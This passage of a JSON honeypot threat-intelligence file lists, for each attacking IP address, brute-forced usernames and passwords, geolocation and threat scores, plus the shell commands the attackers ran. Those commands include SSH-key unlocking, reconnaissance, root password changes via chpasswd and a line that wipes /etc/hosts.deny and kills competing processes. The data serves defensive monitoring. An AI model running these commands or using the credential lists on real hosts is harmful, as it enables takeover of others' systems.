        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 448,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T14:06:20.758000+00:00",
        "last_seen_30d": "2026-03-12T15:20:42.866000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 379,
        "Suricata": 69
      }
    },
    "83.97.24.41": {
      "attack_count": 374,
      "first_seen": "2026-03-05T00:53:19.859Z",
      "last_seen": "2026-03-21T22:56:04.896Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "arthur",
        "ceshi2",
        "kipt",
        "alexis",
        "antoine",
        "ashok",
        "cody",
        "demo",
        "gestion",
        "gw",
        "matic",
        "ociispth",
        "otrs",
        "socks",
        "solr",
        "squid",
        "tian",
        "toor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123456",
        "password",
        "12345678",
        "1qaz@Wsx3edc",
        "Aa@147258",
        "Az.123456",
        "Bingo@1993",
        "Li@123456",
        "Passw0rd!@#$",
        "Root12345@",
        "Squid123",
        "admin000",
        "antoine",
        "ashok1234",
        "ceshi2123",
        "codypass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nKycXS9LC3PD9\\nKycXS9LC3PD9\\n\"|passwd",
        "echo \"123\\nXDfQanWF1WCm\\nXDfQanWF1WCm\\n\"|passwd",
        "echo \"root:7si5Sp810wae\"|chpasswd|bash",
        "echo -e \"12345678\\nKycXS9LC3PD9\\nKycXS9LC3PD9\"|passwd|bash",
        "echo -e \"123\\nXDfQanWF1WCm\\nXDfQanWF1WCm\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 8717,
      "as_org": "A1 Bulgaria EAD",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 462,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T00:53:19.859000+00:00",
        "last_seen_30d": "2026-03-21T22:57:11.329000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 374,
        "Suricata": 88
      }
    },
    "177.53.215.134": {
      "attack_count": 354,
      "first_seen": "2026-03-05T09:44:27.272Z",
      "last_seen": "2026-03-29T12:26:49.332Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789Abc",
        "A123456789012",
        "A12345688",
        "A123456O",
        "AA123456@",
        "AA@2025",
        "P@ssword12",
        "Password123!",
        "aA123456",
        "aA@147258369",
        "alin123",
        "c0ns0le",
        "doitnow",
        "hamster",
        "qwqwqwqw"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"aA123456\\nHwjNc9NVxjwE\\nHwjNc9NVxjwE\\n\"|passwd",
        "echo \"root:2pPuExD64qRB\"|chpasswd|bash",
        "echo \"root:4xacF6KErDq1\"|chpasswd|bash",
        "echo \"root:nHev3Izi1cmc\"|chpasswd|bash",
        "echo -e \"aA123456\\nHwjNc9NVxjwE\\nHwjNc9NVxjwE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Quito",
      "asn": 263238,
      "as_org": "Eliana Vanessa Morocho Ona",
      "threat_score": 55.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 412,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T09:44:27.272000+00:00",
        "last_seen_30d": "2026-03-29T12:27:58.558000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 354,
        "Suricata": 58
      }
    },
    "20.116.34.103": {
      "attack_count": 350,
      "first_seen": "2026-03-25T09:54:39.784Z",
      "last_seen": "2026-03-26T08:18:37.089Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "llm",
        "rramirez",
        "tst",
        "a",
        "chris",
        "crafty",
        "ll",
        "node",
        "passbolt",
        "sandro",
        "ttx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "12345678",
        "1234qwer!!",
        "Aa123123",
        "Pass123$",
        "node123!",
        "password",
        "password!@#",
        "ttx123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nxpWDdhxQ1cnB\\nxpWDdhxQ1cnB\\n\"|passwd",
        "echo \"123456\\naks3JxqEvnLJ\\naks3JxqEvnLJ\\n\"|passwd",
        "echo \"1234\\n6yaWb5qCsdeg\\n6yaWb5qCsdeg\\n\"|passwd",
        "echo \"root:9OLd7fPrFCsC\"|chpasswd|bash",
        "echo -e \"12345678\\nxpWDdhxQ1cnB\\nxpWDdhxQ1cnB\"|passwd|bash",
        "echo -e \"123456\\naks3JxqEvnLJ\\naks3JxqEvnLJ\"|passwd|bash",
        "echo -e \"1234\\n6yaWb5qCsdeg\\n6yaWb5qCsdeg\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 402,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T09:54:39.784000+00:00",
        "last_seen_30d": "2026-03-26T08:19:45.723000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 350,
        "Suricata": 52
      }
    },
    "61.220.235.10": {
      "attack_count": 332,
      "first_seen": "2026-03-09T17:26:55.058Z",
      "last_seen": "2026-03-26T19:15:19.747Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "elemental",
        "root",
        "search",
        "ubuntu",
        "abdul",
        "andres",
        "ansible",
        "ben",
        "bodega",
        "carlo",
        "dan",
        "downloader",
        "elizabeth",
        "ftpadmin",
        "hafiz",
        "home",
        "lee",
        "live",
        "milad"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "11111111",
        "123456",
        "Lee123",
        "Live123!",
        "Passw0rd1",
        "Rms123!",
        "abdul123",
        "ben",
        "carlo",
        "downloader1234",
        "elizabeth",
        "ftpadminpass",
        "root.123",
        "sipvpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"11111111\\nd9i2pEAfFhqD\\nd9i2pEAfFhqD\\n\"|passwd",
        "echo \"12345678\\ncTL0IBuICSlE\\ncTL0IBuICSlE\\n\"|passwd",
        "echo \"123\\nhmxZZf751Xqp\\nhmxZZf751Xqp\\n\"|passwd",
        "echo -e \"11111111\\nd9i2pEAfFhqD\\nd9i2pEAfFhqD\"|passwd|bash",
        "echo -e \"12345678\\ncTL0IBuICSlE\\ncTL0IBuICSlE\"|passwd|bash",
        "echo -e \"123\\nhmxZZf751Xqp\\nhmxZZf751Xqp\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taoyuan District",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 44.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 406,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T17:26:55.058000+00:00",
        "last_seen_30d": "2026-03-26T19:16:22.243000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 74
      }
    },
    "190.181.25.210": {
      "attack_count": 287,
      "first_seen": "2026-03-02T04:45:20.330Z",
      "last_seen": "2026-03-23T20:03:22.279Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "azuracast",
        "common",
        "dis",
        "erpuser",
        "grafana",
        "meng",
        "mikrotik",
        "odoo12",
        "real",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123$",
        "123456",
        "12345aa",
        "123987",
        "123qwerty",
        "12qwaszx",
        "1q@W3e$R5t",
        "66668888",
        "Aa123456...",
        "Adminroot",
        "An123456",
        "Cb123456@",
        "Hetzner2025",
        "Ll123456",
        "QWERTY12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nbyXGEOLx9ohf\\nbyXGEOLx9ohf\\n\"|passwd",
        "echo \"root:nq2aESrJXiWF\"|chpasswd|bash",
        "echo -e \"12345\\nbyXGEOLx9ohf\\nbyXGEOLx9ohf\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 41.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.7,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 371,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:45:20.330000+00:00",
        "last_seen_30d": "2026-03-23T20:04:24.282000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 84
      }
    },
    "43.166.166.157": {
      "attack_count": 282,
      "first_seen": "2026-03-22T21:24:49.339Z",
      "last_seen": "2026-03-26T17:22:31.755Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "erwin",
        "frank",
        "k8s",
        "app",
        "chat",
        "dockeradmin",
        "kafka",
        "ken",
        "mobiquity",
        "ravi",
        "root",
        "simone",
        "testme",
        "vnc",
        "wpuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "12345678",
        "Chat123!",
        "Ken123",
        "aaaaaa",
        "app123",
        "erwin123",
        "frank",
        "simone123!",
        "testme1234",
        "vnc123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nWvJR2tIv5rSE\\nWvJR2tIv5rSE\\n\"|passwd",
        "echo \"erwin123\\npdWbyywXEFhf\\npdWbyywXEFhf\\n\"|passwd",
        "echo \"frank\\nmYzSbgDoFXRO\\nmYzSbgDoFXRO\\n\"|passwd",
        "echo -e \"12345\\nWvJR2tIv5rSE\\nWvJR2tIv5rSE\"|passwd|bash",
        "echo -e \"erwin123\\npdWbyywXEFhf\\npdWbyywXEFhf\"|passwd|bash",
        "echo -e \"frank\\nmYzSbgDoFXRO\\nmYzSbgDoFXRO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T21:24:49.339000+00:00",
        "last_seen_30d": "2026-03-26T17:23:33.820000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 48
      }
    },
    "216.155.93.75": {
      "attack_count": 281,
      "first_seen": "2026-03-21T05:35:15.263Z",
      "last_seen": "2026-03-21T06:09:58.306Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "elk",
        "root",
        "water",
        "dockeruser",
        "geoserver",
        "jupyter",
        "maria",
        "mike",
        "panel",
        "redis",
        "richard",
        "testtest",
        "testuser2",
        "unix",
        "victor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Elk123!",
        "Geoserver123",
        "Richard123",
        "Testtest123",
        "Water",
        "mariapass",
        "mikepass",
        "mima123456",
        "panel@123456",
        "redis@123",
        "testuser2123",
        "unix@123456",
        "victorvictor"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Elk123!\\nBHty0UX2MkXH\\nBHty0UX2MkXH\\n\"|passwd",
        "echo \"Water\\ntDB2lrJ3v3NP\\ntDB2lrJ3v3NP\\n\"|passwd",
        "echo \"root:9ZlwSSHC1Z0r\"|chpasswd|bash",
        "echo -e \"Elk123!\\nBHty0UX2MkXH\\nBHty0UX2MkXH\"|passwd|bash",
        "echo -e \"Water\\ntDB2lrJ3v3NP\\ntDB2lrJ3v3NP\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Valdivia",
      "asn": 14117,
      "as_org": "Telefonica del Sur S.A.",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T05:35:15.263000+00:00",
        "last_seen_30d": "2026-03-21T06:11:04.836000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 281,
        "Suricata": 48
      }
    },
    "101.36.123.91": {
      "attack_count": 212,
      "first_seen": "2026-03-19T17:45:31.371Z",
      "last_seen": "2026-03-19T18:14:15.875Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "bayu",
        "root",
        "cloudera",
        "demouser",
        "eric",
        "gast",
        "mohamed",
        "paula",
        "rails",
        "student4",
        "test",
        "test123",
        "unifi",
        "virl",
        "wilson"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123456",
        "Test123123",
        "bayu123",
        "demouser@123456",
        "eric@123",
        "paulapaula",
        "rails123",
        "student4pass",
        "test@123456",
        "virl@123456",
        "wilson",
        "zhang123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"bayu123\\nebuHcSfYeKqx\\nebuHcSfYeKqx\\n\"|passwd",
        "echo \"root:GvPVDN0CXxle\"|chpasswd|bash",
        "echo -e \"bayu123\\nebuHcSfYeKqx\\nebuHcSfYeKqx\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T17:45:31.371000+00:00",
        "last_seen_30d": "2026-03-19T18:15:17.755000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 43
      }
    },
    "69.12.83.27": {
      "attack_count": 211,
      "first_seen": "2026-03-02T16:55:19.801Z",
      "last_seen": "2026-03-20T11:46:43.331Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "arun",
        "bin",
        "erp",
        "g"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "!@#123qweASD",
        "123456",
        "1234567890qwe",
        "1qaz2wsx3EDC",
        "54321",
        "Admin$2024",
        "G123",
        "Password#123",
        "Wg.123345",
        "asdfdsa",
        "host123",
        "kid",
        "yy123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:5YxLRx1Rialw\"|chpasswd|bash",
        "echo \"root:dwgylVlBlQcV\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Estonia",
      "country_code": "EE",
      "city": "Tallinn",
      "asn": 207083,
      "as_org": "HostSlim B.V.",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:55:19.801000+00:00",
        "last_seen_30d": "2026-03-20T11:47:49.279000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 211,
        "Suricata": 44
      }
    },
    "165.154.6.150": {
      "attack_count": 197,
      "first_seen": "2026-03-12T16:19:07.260Z",
      "last_seen": "2026-03-12T16:45:04.007Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "claude",
        "root",
        "345gs5662d34",
        "gitlab-runner",
        "nginx",
        "openvpn",
        "patrick",
        "pavel",
        "squid",
        "vincent",
        "webadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "12345",
        "Admin2020",
        "Gitlab-Runner123!",
        "KS@gshyx@zl1651",
        "Vincent123!",
        "nginx",
        "pass123",
        "pavel",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"qwerty\\nYBLDbLp0S8Yy\\nYBLDbLp0S8Yy\\n\"|passwd",
        "echo \"root:TinpFjiMMWyJ\"|chpasswd|bash",
        "echo -e \"qwerty\\nYBLDbLp0S8Yy\\nYBLDbLp0S8Yy\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
